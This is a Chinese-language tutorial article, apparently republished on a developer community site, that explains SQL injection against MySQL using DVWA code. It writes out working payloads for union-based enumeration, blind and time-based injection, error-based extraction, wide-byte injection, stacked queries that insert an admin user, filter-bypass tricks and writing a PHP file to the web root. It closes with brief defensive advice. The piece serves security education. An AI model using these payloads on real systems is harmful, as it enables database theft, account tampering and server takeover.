首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

表哥有话说 第十期

web安全之sql注入

本期的【表哥有话说】是关于web安全方面的,不知道你有没有听说过SQL注入攻击,希望本期干货能让你对SQL注入攻击有进一步的了解,准备好了吗?手指往下滑,我们正式开始了!

0x00 SQL注入介绍

SQL注入攻击是最为常见的Web安全漏洞之一,常年霸占OWASP第一名,可见其危害十分大。

SQL注入是由于过滤不严,将构造的SQL语句插入或添加到应用(用户)的输入参数中,从而可以非法执行数据库命令的攻击,可以获取网站数据,严重的会直接控制服务器。

0x01 SQL注入原理

本篇文章就MySQL为例,其他数据库在这里就不做扩展了。所以说学习注入,首先要学好数据库语言。

我们来看DVWA中,SQL注入漏洞的关键代码

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' ";

这里是连接数据库的,在数据库执行的查询语句,我们构造参数插入SQL语句。

例如

?id=1' or 1=1 --

语句就变成了

$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 -- ' ";

成功插入了 or 1=1,这样就会查询users表里所有的name

0x02 SQL注入技巧

注释

注释在SQL注入中是必不可少的,它可以帮助构造SQL语句,包括

行间注释:

- --(注意前后有空格)

- #

行内注释:

- /*注释内容*/ 在空格被过滤时,可以利用其替换空格

- /*!注释内容*/ 可以利用其测试数据库版本

编码

ASCII() 返回字符的ASCII码值

CHAR() 把整数转化为对应字符

HEX() UNHEX() 16进制编码解码

常用方法

USER() 当前数据库用户

database() 当前数据库名

version() 数据库版本

@@datadir 数据库存储数据路径

@@global.version_complie_os FROM mysql.user 操作系统版本

concat() 连接多条数据

group_concat() 与concat()类似

load_file() 读取文件

substr() mid() substring() 截取字段

information_scheam MySQL自带的数据库,包含其他所有数据库信息

绕过

为了保证安全性,防止SQL注入发生,程序员会做一些代码层的防护,比如过滤参数。然而有些过滤是可以进行绕过的,例如

- 空格被过滤,可以利用+,(),/**/绕过

- 单引号被过滤,可以对数据进行编码

- 查询语句被过滤,可以利用大写,或者selselectect尝试绕过 - 用,&&代替and,or

- 字符串黑名单,可以利用concat('a','d','m','i','n')绕过

除此之外还有很多。

0x03 SQL注入方法

判断注入点

在注入开始之前,需要先判断注入点存在。找到网站与数据库连接的地方,例如用户登录,信息搜索等。在参数后加',and 1=1,and 1=2 等进行测试

一般注入

判断返回字段个数

order by 2 --

查询当前数据库名及数据库版本

and 1=2 UNION SELECT database(),version() --

查询数据库

and 1=2 UNION SELECT 1,schema_name FROM information_schema.schemata --

查询表

and 1=2 UNION SELECT 1,table_name FROM information_scheam.tables WHEREtable_schema=数据库名的十六进制编码 --

查询列

and 1=2 UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name=表名的十六进制编码 --

查询字段

and 1=2 UNION SELECT 1,字段FROM表名 --

判断是否具有读写权限

and (select count(*) from mysql.user)>0/*

写文件

union select 1,char(xx,xx,xx) into outfile '/var/www/html/1.php'/*

布尔盲注

在不返回字段 没有回显时,需要用到盲注。

猜解数据库长度

and length(database())>1 #

写脚本fuzz数据库名

and substr(database(),%d,1)='%s' %%23

过滤了单引号的话可以使用ascii()

and ascii(substr(database(),%d,1)=%d %%23)

利用正则REGEXP

1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);

接下来查询表,字段结合一般注入,方法相同。

时间盲注

利用函数将返回时间延迟,从而得知语句查询是否正确。

sleep()延时

if(ascii(substr(database(),1,1))>115,0,sleep(5)) #

benchmark()延时,是将后面的函数执行多次,比较占用CPU,进行测试时不推荐用这种方法

UNION SELECTIF(SUBSTRING(Password,1,1)=’a’,BENCHMARK(100000,SHA1(1)) User,Password FROM mysql.user WHERE User = 'root'

报错注入

通过构造使信息从错误提示中回显。

利用floor()

select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a

对xml数据进行查询和修改的xpath函数,xpath语法错误

updatexml(1,concat(0x3a,(select user())),1)

利用extractvalue()

extractvalue(1,concat(0x7e,(select @@version),0x7e))

报错函数,可以利用他们获取数据库名和表名

https://dev.mysql.com/doc/refman/5.7/en/gis-mysql-specific-functions.html

宽字节注入

如果php设置了编码

mysql_query("set NAMES'gbk'",$conn);

就会引发宽字节注入,例如 %df' 会被addslashes()转义为 %df\' url编码后为%df%5c%27 在gbk编码下认为其是一个宽字节 縗’ 就会产生注入

PDO堆查询注入

如果php使用PDO连接数据库,便可以使用堆查询,可以同时执行多个语句

SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username,password,priv) VALUES ('xxx', '123456','admin');

还有其他注入这里就不一一列举了。上述提到的注入,也有很多不同的方法,因为现实环境、代码的不同,注入语句也不尽相同。

0x04 SQL注入常用工具

sqlmap,自动化注入,自带很多绕过脚本,家常必备神器。

burpsuit,不多说了。

hackbar,Firefox插件,post注入很好用。

Pangolin,SQL注入漏洞测试安全工具。

0x05 SQL注入防护

既然SQL注入影响这么大,那么我们如何防护呢?

-定期进行代码审计,从根本上面解决SQL注入攻击。

- 一切的用户输入都是有害的,对用户的输入进行严格过滤。 - 使用SQL注入防护软件防护。 - 针对企业推荐使用硬件防火墙。

好了,今天的分享就这么多,感兴趣的同学可以参照推送的内容自己动手操作一下,亲自动手跟单纯浏览相比可是差很多哦,希望操作之后的你能有新的不一样的体会。

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20171218G05NES00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券